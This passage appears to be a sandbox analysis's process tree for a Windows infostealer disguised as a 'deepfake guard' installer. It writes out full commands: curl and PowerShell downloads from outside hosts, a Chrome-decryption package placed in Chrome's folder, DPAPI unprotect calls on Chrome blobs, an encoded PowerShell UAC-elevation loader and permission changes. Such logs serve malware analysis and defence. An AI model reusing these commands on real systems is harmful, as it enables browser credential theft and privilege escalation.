      curl -kfsSL --http1.1 -C - --retry-connrefused --connect-timeout 120 --max-time 7200 --retry 12 --retry-all-errors --retry-delay 5 --speed-limit 100 --speed-time 300 -o "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\install_guard.js" "https://api.gaganata.ink/install_guard.js"
      4⤵
      PID:1936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo OK install_guard.js downloaded size 1628183 bytes "
      4⤵
      PID:5324
  - - C:\Windows\system32\findstr.exe
      findstr /i "bat started portable node install_guard using downloaded acquired"
      4⤵
      PID:3796
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:4220
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "OK install_guard.js downloaded size 1628183 bytes " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:1300
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { Unblock-File -LiteralPath $env:NVDG_UNBLOCK } catch {}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe" -v 2>&1
      4⤵
      Executes a command shell one-liner
      PID:5360
    - - C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe
        
        C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe -v
        5⤵
        Executes dropped EXE
        
        PID:1152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe" -v 2>&1
      4⤵
      Executes a command shell one-liner
      PID:4316
    - - C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe
        
        C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe -v
        5⤵
        Executes dropped EXE
        
        PID:3348
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo 20"
      4⤵
      PID:360
  - - C:\Windows\system32\findstr.exe
      findstr /r "^[0-9][0-9]*$"
      4⤵
      PID:4844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo INFO running install_guard.js with C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe "
      4⤵
      PID:1772
  - - C:\Windows\system32\findstr.exe
      findstr /i "download attempt downloading running preparing no node"
      4⤵
      PID:1132
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:4792
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "INFO running install_guard.js with C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:3408
  - - C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe
      "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe" "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\install_guard.js"
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:1096
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;[Net.ServicePointManager]::ServerCertificateValidationCallback={$true};(New-Object Net.WebClient).DownloadFile('https://api.chestsoi.ink/data/python-3.12.8-embed-amd64.zip','C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600112932\python-3.12.8-embed-amd64.zip')"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1448
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;[Net.ServicePointManager]::ServerCertificateValidationCallback={$true};(New-Object Net.WebClient).DownloadFile('https://api.chestsoi.ink/data/chrome_decrypt_sitepackages_amd64.zip','C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600112932\chrome_decrypt_sitepackages_amd64.zip')"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1708
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3184
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $appDir='C:\Program Files\Google\Chrome\Application'; $pyZip='C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600112932\python-3.12.8-embed-amd64.zip'; $spZip='C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600112932\chrome_decrypt_sitepackages_amd64.zip'; New-Item -ItemType Directory -Force -Path $appDir | Out-Null; & 'C:\Windows\System32\tar.exe' -xf $pyZip -C $appDir 2>&1 | Out-Null; if($LASTEXITCODE -ne 0){throw \"tar exit $LASTEXITCODE\"}; if(-not (Test-Path (Join-Path $appDir 'python.exe'))){throw 'python.exe not extracted (permission denied)'}; Get-ChildItem -Path $appDir -Filter 'python*._pth' | ForEach-Object { $c=[IO.File]::ReadAllText($_.FullName); if($c -match '#import site'){[IO.File]::WriteAllText($_.FullName, ($c -replace '#import site','import site'))} }; $siteDir=Join-Path $appDir 'Lib\site-packages'; New-Item -ItemType Directory -Force -Path $siteDir | Out-Null; & 'C:\Windows\System32\tar.exe' -xf $spZip -C $siteDir 2>&1 | Out-Null; if($LASTEXITCODE -ne 0){throw \"tar site-packages exit $LASTEXITCODE\"}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5544
      - C:\Windows\System32\tar.exe
        
        "C:\Windows\System32\tar.exe" -xf C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600112932\python-3.12.8-embed-amd64.zip -C "C:\Program Files\Google\Chrome\Application"
        6⤵
        
        PID:2280
      - C:\Windows\System32\tar.exe
        
        "C:\Windows\System32\tar.exe" -xf C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600112932\chrome_decrypt_sitepackages_amd64.zip -C "C:\Program Files\Google\Chrome\Application\Lib\site-packages"
        6⤵
        
        PID:2684
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" -c "import sqlite3; from Crypto.Cipher import AES"
        5⤵
        
        PID:2140
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" -c "import sqlite3; from Crypto.Cipher import AES"
        5⤵
        
        PID:5700
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1152
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" C:\Users\Admin\AppData\Local\Temp\sa-qpy-1793600118887.py
        5⤵
        
        PID:5100
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" C:\Users\Admin\AppData\Local\Temp\sa-qpy-1793600119096.py
        5⤵
        
        PID:4436
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security;$d=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAxWQOOZljgkyTLTmKQFik2BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAG76i9Kw+yr6Y5qknTKyaBTTYGVHZjICdMJCL2Al2rYgAAAAAA6AAAAAAgAAIAAAAHvrbNbG/AJM/TD2WcPIwB1TFUkCvTUMxhimgd8mQ1lsMAAAAABYMuHLhIPNEqN+J1iMedS48V56fb1Mo9HvQCe2jBJWM39xOOWQ75ofl2wrIzvlk0AAAADQG5osfpuneOwkbTyiqSsdhpl9dQ7+QhaxAh7Zt11gPpQI4u3QFGIIDMWg7zGSt/twZaI0BBVyVjm/5O1f0fHm');$r=[System.Security.Cryptography.ProtectedData]::Unprotect($d,$null,'CurrentUser');[Convert]::ToBase64String($r)"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1688
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security;$d=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAFEjWruPvrUmsznqaGT3L2BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAIPSq0GLtbGfAo4A0XyoT9vDJQk2rxKCspCoZx3k9yZBAAAAAA6AAAAAAgAAIAAAAH+xstuFTGFOvNihz1811U2F9jGxlvokdx5J2u769Ri9kAEAAEl4N/QKazOMqyHHmGXbuAxtIwO+OPzb+HF6yVqMT6IxB2tBEMWEzYNx6C1RuVODFxy5WVLBQHmcqiErEveGkMlPiUY0qymotZLVX00oxxIIttHtgoxI829jMc6+7q+TuK0s3HyojNyuFXHfjjmgkC/kl2JXNiFE7Czu155vBkVRxaCq6VJpVYVLgVWGSVOeKFIFnAjtudC31zRVTYK2e6TQHIkaW+hkEVuH6fpVW0yCJaRgaC7Dr2z3Qu5j3XmEPlb2OOEPgPw5eLvApWmKpyj9buDtpBWAANHJtMAvplu6b3tnAu19/lCVpLvB+vKbRS7gCD9m7/yJI+m9LS6pY1CkjorrBUQJ9km8HEPnhsZnFFH9ma2kipxHTCuuP382xTMPVt2s3q4zpmHmErT3NezF7+XlxmjYeO4s4EuISglqByb/6MLxU/klIe/zlN8L20dBwNfiElfVIUpB083lmTzaZf19qKxi//vFrsVGWrCsfkzDwRX3ikaA15bnpe17ACOQHdy07Ox07Z/6lJ3cIZdAAAAAQg1tr3sTOTbSwaBvDl1PtbO+WqW6AQXovI//InMHyr1k7t8a/nfYcPNWeoeKxpb8KVqvqR4qEYCokzUMPABrJA==');$r=[System.Security.Cryptography.ProtectedData]::Unprotect($d,$null,'LocalMachine');[Convert]::ToBase64String($r)"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2180
    - - C:\Windows\system32\icacls.exe
        
        icacls.exe C:\ProgramData\Google\UpdateAssistant\dpapi_work /grant *S-1-5-18:(OI)(CI)(F) /T
        5⤵
        Modifies file permissions
        
        PID:1136
    - - C:\Windows\system32\icacls.exe
        
        icacls.exe C:\ProgramData\Google\UpdateAssistant\dpapi_work\dpo_1793600120366.txt /grant *S-1-5-18:(M)
        5⤵
        Modifies file permissions
        
        PID:3284
    - - C:\Windows\system32\icacls.exe
        
        icacls.exe C:\ProgramData\Google\UpdateAssistant\dpapi_work\dps_1793600120366.ps1 /grant *S-1-5-18:(R)
        5⤵
        Modifies file permissions
        
        PID:5900
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4592
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARgB7AHAAYQByAGEAbQAoAFsAUwB0AHIAaQBuAGcAXQAkAHMAcgBjACwAWwBTAHQAcgBpAG4AZwBdACQAYQByAGcAKQAKACQAbgA9AEAAKAAnAFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAApAF0AJwAsACcATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgB5AFYAYQBsAEEAcgByAGEAeQAsAFMAaQB6AGUAQwBvAG4AcwB0ACcALAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG8AbABlADMAMgAuAGQAbABsACIALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUALABTAGUAdABMAGEAcwB0AEUAcgByAG8AcgA9AHQAcgB1AGUAKQBdACcALAAnAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAnACkACgAkAG0AZQA9AEAAKAAiAEMAbwBJAG4AaQB0AGkAYQBsAGkAegBlAEUAeAAiACwAIgBDAG8AVQBuAGkAbgBpAHQAaQBhAGwAaQB6AGUAIgAsACIAQwBvAEcAZQB0AE8AYgBqAGUAYwB0ACIAKQAKACQAcwBnAD0AJwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsADsAJwArACQAbgBbADAAXQArACcAcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAF8AcwAxAHsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAdQAxADsAcAB1AGIAbABpAGMAIABVAEkAbgB0ADEANgAgAHUAMgA7AHAAdQBiAGwAaQBjACAAVQBJAG4AdAAxADYAIAB1ADMAOwBbACcAKwAkAG4AWwAxAF0AKwAnAD0AOAApAF0AcAB1AGIAbABpAGMAIABiAHkAdABlAFsAXQAgAGIAdAA7AH0AJwArACQAbgBbADAAXQArACcAcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAF8AcwAyAHsAWwAnACsAJABuAFsAMQBdACsAJwA9ADcAKQBdAHAAdQBiAGwAaQBjACAAVQBJAG4AdAAzADIAWwBdACAAdQB0ADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAHAAaQBuAGYAbwA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABoAHcAbgBkADsAfQBwAHUAYgBsAGkAYwAgAHMAdAByAHUAYwB0ACAAXwBzADMAewBbACcAKwAkAG4AWwAxAF0AKwAnAD0AMgAzACkAXQBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByAFsAXQAgAGYAdQBuAGMAOwB9AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABFAEEAewAnACsAJABuAFsAMgBdACsAJABuAFsAMwBdACsAJwAgAGkAbgB0ACAAJwArACQAbQBlAFsAMABdACsAJwAoAEkAbgB0AFAAdAByACAAcAB2AFIAZQBzAGUAcgB2AGUAZAAsAFUASQBuAHQAMwAyACAAZAB3AEMAbwBJAG4AaQB0ACkAOwAnACsAJABuAFsAMgBdACsAJABuAFsAMwBdACsAJwAgAHYAbwBpAGQAIAAnACsAJABtAGUAWwAxAF0AKwAnACgAKQA7ACcAKwAkAG4AWwAyAF0AKwAkAG4AWwAzAF0AKwAnACAAaQBuAHQAIAAnACsAJABtAGUAWwAyAF0AKwAnACgAcwB0AHIAaQBuAGcAIABwAHMAegBOAGEAbQBlACwASQBuAHQAUAB0AHIAIABwAEIAaQBuAGQATwBwAHQAaQBvAG4AcwAsAF8AcwAxACAAcgBpAGkAZAAsAHIAZQBmACAASQBuAHQAUAB0AHIAIABwAHAAdgApADsAfQAnAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAZwAKACQAeAA9AFsARQBBAF0ACgAkAHgAOgA6ACgAJABtAGUAWwAxAF0AKQAoACkACgAkAGgAaQA9ACQAeAA6ADoAKAAkAG0AZQBbADAAXQApACgAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAMgApAAoAJABtAD0AWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQAKACQAYQBtAD0AQAAoACIAUwBpAHoAZQBPAGYAIgAsACIAQQBsAGwAbwBjAEgARwBsAG8AYgBhAGwAIgAsACIAUwB0AHIAdQBjAHQAdQByAGUAVABvAFAAdAByACIALAAiAFAAdAByAFQAbwBTAHQAcgB1AGMAdAB1AHIAZQAiACwAIgBTAHQAcgBpAG4AZwBUAG8ASABHAGwAbwBiAGEAbABVAG4AaQAiACwAIgBHAGUAdABEAGUAbABlAGcAYQB0AGUARgBvAHIARgB1AG4AYwB0AGkAbwBuAFAAbwBpAG4AdABlAHIAIgApAAoAJABzADIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAXwBzADIACgAkAHMAegA9ACQAbQA6ADoAKAAkAGEAbQBbADAAXQApACgAJABzADIAKQAKACQAcwAyAC4AdQB0AD0AWwBVAEkAbgB0ADMAMgBbAF0AXQAoACQAcwB6ACwAMAAsADAALAAwACwAMAAsADQALAAwACkACgAkAHAAMgA9ACQAbQA6ADoAKAAkAGEAbQBbADEAXQApACgAJABzAHoAKQAKACQAbQA6ADoAKAAkAGEAbQBbADIAXQApACgAJABzADIALAAkAHAAMgAsACQAVAByAHUAZQApAAoAJAB0ADMAPQAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABfAHMAMwApAC4ARwBlAHQAVAB5AHAAZQAoACkACgAkAHMAegA9ACQAbQA6ADoAKAAkAGEAbQBbADAAXQApACgAWwBUAHkAcABlAF0AJAB0ADMAKQAKACQAcAB2AD0AJABtADoAOgAoACQAYQBtAFsAMQBdACkAKAAkAHMAegApAAoAJABnAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAF8AcwAxAAoAJABnAC4AdQAxAD0AMAB4ADYARQBEAEQANgBEADcANAAKACQAZwAuAHUAMgA9ADAAeABDADAAMAA3AAoAJABnAC4AdQAzAD0AMAB4ADQARQA3ADUACgAkAGcALgBiAHQAPQBbAGIAeQB0AGUAWwBdAF0AKAAwAHgAQgA3ACwAMAB4ADYAQQAsADAAeABFADUALAAwAHgANwA0ACwAMAB4ADAAOQAsADAAeAA5ADUALAAwAHgARQAyACwAMAB4ADQAYwApAAoAJABoAHIAPQAkAHgAOgA6ACgAJABtAGUAWwAyAF0AKQAoACcARQBsAGUAdgBhAHQAaQBvAG4AOgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACEAbgBlAHcAOgB7ADMARQA1AEYAQwA3AEYAOQAtADkAQQA1ADEALQA0ADMANgA3AC0AOQAwADYAMwAtAEEAMQAyADAAMgA0ADQARgBCAEUAQwA3AH0AJwAsACQAcAAyACwAJABnACwAWwByAGUAZgBdACQAcAB2ACkACgBpAGYAKAAkAGgAcgAgAC0AbgBlACAAMAApAHsAZQB4AGkAdAAgADEAfQAKACQAdgB0AD0AJABtADoAOgAoACQAYQBtAFsAMwBdACkAKAAkAHAAdgAsAFsAVAB5AHAAZQBdACQAdAAzACkACgAkAHYAdAA9ACQAbQA6ADoAKAAkAGEAbQBbADMAXQApACgAJAB2AHQALgBmAHUAbgBjAFsAMABdACwAWwBUAHkAcABlAF0AJAB0ADMAKQAKACQAZgBhAD0AJAB2AHQALgBmAHUAbgBjAFsAOQBdAAoAJABkAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAAoAJABkAG4APQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAKAAnAFgAJwApAAoAJABvAGIAPQBAACgAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBFAG0AaQB0AC4AQQBzAHMAZQBtAGIAbAB5AEIAdQBpAGwAZABlAHIAQQBjAGMAZQBzAHMAXQAsAFsAUwB5AHMAdABlAG0ALgBNAHUAbAB0AGkAYwBhAHMAdABEAGUAbABlAGcAYQB0AGUAXQAsAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQApAAoAJAB0AGIAPQAkAGQALgBEAGUAZgBpAG4AZQBEAHkAbgBhAG0AaQBjAEEAcwBzAGUAbQBiAGwAeQAoACQAZABuACwAJABvAGIAWwAwAF0AOgA6AFIAdQBuACkALgBEAGUAZgBpAG4AZQBEAHkAbgBhAG0AaQBjAE0AbwBkAHUAbABlACgAJwBNACcALAAkAGYAYQBsAHMAZQApAC4ARABlAGYAaQBuAGUAVAB5AHAAZQAoACcARAAnACwAJwBDAGwAYQBzAHMALAAgAFAAdQBiAGwAaQBjACwAIABTAGUAYQBsAGUAZAAsACAAQQBuAHMAaQBDAGwAYQBzAHMALAAgAEEAdQB0AG8AQwBsAGEAcwBzACcALAAkAG8AYgBbADEAXQApAAoAJAB0AGEAPQBAACgAWwBJAG4AdABQAHQAcgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBVAEkAbgB0ADMAMgBdACwAWwBVAEkAbgB0ADMAMgBdACkACgAkAHQAYgAuAEQAZQBmAGkAbgBlAEMAbwBuAHMAdAByAHUAYwB0AG8AcgAoACcAUgBUAFMAcABlAGMAaQBhAGwATgBhAG0AZQAsACAASABpAGQAZQBCAHkAUwBpAGcALAAgAFAAdQBiAGwAaQBjACcALAAkAG8AYgBbADIAXQA6ADoAUwB0AGEAbgBkAGEAcgBkACwAJAB0AGEAKQAuAFMAZQB0AEkAbQBwAGwAZQBtAGUAbgB0AGEAdABpAG8AbgBGAGwAYQBnAHMAKAAnAFIAdQBuAHQAaQBtAGUALAAgAE0AYQBuAGEAZwBlAGQAJwApAAoAJAB0AGIALgBEAGUAZgBpAG4AZQBNAGUAdABoAG8AZAAoACcASQBuAHYAbwBrAGUAJwAsACcAUAB1AGIAbABpAGMALAAgAEgAaQBkAGUAQgB5AFMAaQBnACwAIABOAGUAdwBTAGwAbwB0ACwAIABWAGkAcgB0AHUAYQBsACcALABbAEkAbgB0AF0ALAAkAHQAYQApAC4AUwBlAHQASQBtAHAAbABlAG0AZQBuAHQAYQB0AGkAbwBuAEYAbABhAGcAcwAoACcAUgB1AG4AdABpAG0AZQAsACAATQBhAG4AYQBnAGUAZAAnACkACgAkAGYAdAA9ACQAdABiAC4AQwByAGUAYQB0AGUAVAB5AHAAZQAoACkACgAkAGYAPQAkAG0AOgA6ACgAJABhAG0AWwA1AF0AKQAoACQAZgBhACwAJABmAHQAKQAKACQAdQBzAD0AJABtADoAOgAoACQAYQBtAFsANABdACkAKAAkAHMAcgBjACkACgAkAHUAYQA9ACQAbQA6ADoAKAAkAGEAbQBbADQAXQApACgAJABhAHIAZwApAAoAJABmAC4ASQBuAHYAbwBrAGUAKAAkAHAAdgAsACQAdQBzACwAJAB1AGEALAAwACwAMAAsADAAKQAKAGkAZgAoACQAaABpACAALQBlAHEAIAAwACkAewAkAHgAOgA6ACgAJABtAGUAWwAxAF0AKQAoACkAfQB9AAoARgAgAC0AcwByAGMAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAIAAtAGEAcgBnACAAJwAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ARgBpAGwAZQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwARwBvAG8AZwBsAGUAXABVAHAAZABhAHQAZQBBAHMAcwBpAHMAdABhAG4AdABcAGQAcABhAHAAaQBfAHcAbwByAGsAXABkAHQAYwBfADEANwA5ADMANgAwADAAMQAyADAAMwA2ADYALgBwAHMAMQAiACcA
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1560
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dilqgjho\dilqgjho.cmdline"
        6⤵
        
        PID:4348
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESABF.tmp" "c:\Users\Admin\AppData\Local\Temp\dilqgjho\CSC99702326CB4B4A74B287B16F0E61AAB.TMP"
        7⤵
        
        PID:3572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Start-Sleep -Milliseconds 500"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2228
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Start-Sleep -Milliseconds 500"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Start-Sleep -Milliseconds 1000"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3064
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Unregister-ScheduledTask -TaskName 'WU0fu7j1' -Confirm:$false -EA SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2684
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security;$d=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAxWQOOZljgkyTLTmKQFik2BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAJL4WibDcxHTNsVNe9pGgi3T1U49JaGPNFgw5v2DZKAfAAAAAA6AAAAAAgAAIAAAAL46MYOuFvEDjkJwl1Kr8Tds1JDPF+zDTOUr+5WzSmqJkAAAANq0QZi3WI5YUnl/g3fXrJZBUD5u6TMUngNQ0PP/oxkw7PEcwcIKslhZArRdQGC6PE5z/2BJOLGQU5jWc6IwOrAKaZKwIGJ7P0Pi9ze6tydQ1oiSRI7xLzHlF9Ab2xKD+55nHbAT/rHW/UoWe5yvPqGVbTri12JkfDAllVRPNFQIEy1i8BLNSqCIIwhydIzo0EAAAACF58JcgSvyriPQGXtOuecX+UB6T8dfow6W+1BoJTcqrM4kG03cFouQHVEbjJFApIarKAu3fVUa64KDO+sy+g1g');$r=[System.Security.Cryptography.ProtectedData]::Unprotect($d,$null,'CurrentUser');[Convert]::ToBase64String($r)"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1500
    - - C:\Windows\system32\icacls.exe
        
        icacls.exe C:\ProgramData\Google\UpdateAssistant\dpapi_work /grant *S-1-5-18:(OI)(CI)(F) /T
        5⤵
        Modifies file permissions
        
        PID:5988
    - - C:\Windows\system32\icacls.exe
        
        icacls.exe C:\ProgramData\Google\UpdateAssistant\dpapi_work\cng_in_1793600126756.bin /grant *S-1-5-18:(R)
        5⤵
        Modifies file permissions
        
        PID:5700
    - - C:\Windows\system32\icacls.exe
        
        icacls.exe C:\ProgramData\Google\UpdateAssistant\dpapi_work\cng_out_1793600126756.bin /grant *S-1-5-18:(M)
        5⤵
        Modifies file permissions
        
        PID:4848
    - - C:\Windows\system32\icacls.exe
        
        icacls.exe C:\ProgramData\Google\UpdateAssistant\dpapi_work\cng_st_1793600126756.txt /grant *S-1-5-18:(M)
        5⤵
        Modifies file permissions
        
        PID:4844
